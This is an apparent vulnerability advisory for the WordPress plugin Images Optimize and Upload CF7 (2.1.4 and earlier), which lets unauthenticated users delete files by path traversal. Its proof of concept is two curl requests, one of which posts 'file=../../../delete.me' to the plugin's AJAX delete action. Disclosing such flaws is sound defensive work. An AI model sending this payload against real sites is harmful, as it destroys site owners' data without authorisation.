Images Optimize and Upload CF7 <= 2.1.4 - Unauthenticated Arbitrary File Deletion

2022-12-2100:00:00

cydave

wordpress

contact form 7

vulnerable plugin

file deletion

unauthenticated access

security vulnerability

data manipulation

0.002 Low

EPSS

Percentile

55.5%

JSON

The plugin does not validate the file to be deleted via an AJAX action available to unauthenticated users, which could allow them to delete arbitrary files on the server via path traversal attack.

1. Install contact-form-7 (dependency)

2. Install the vulnerable plugin (images-optimize-and-upload-cf7 version 2.1.3)

3. Invoke curl to create a potentially missing upload directory (required for the exploit to work):

curl 'https://example.com/wp-admin/admin-ajax.php?action=yr_api_uploader'

4. Invoke the following curl command to delete the delete.me file at the root of the blog:

curl 'https://example.com/wp-admin/admin-ajax.php?action=yr_api_delete' \
    --data 'file=../../../delete.me'

0.002 Low

EPSS

Percentile

55.5%

JSON

Related for WPEX-ID:2CE4C837-C62C-41AC-95CA-54BB1A6D1EEB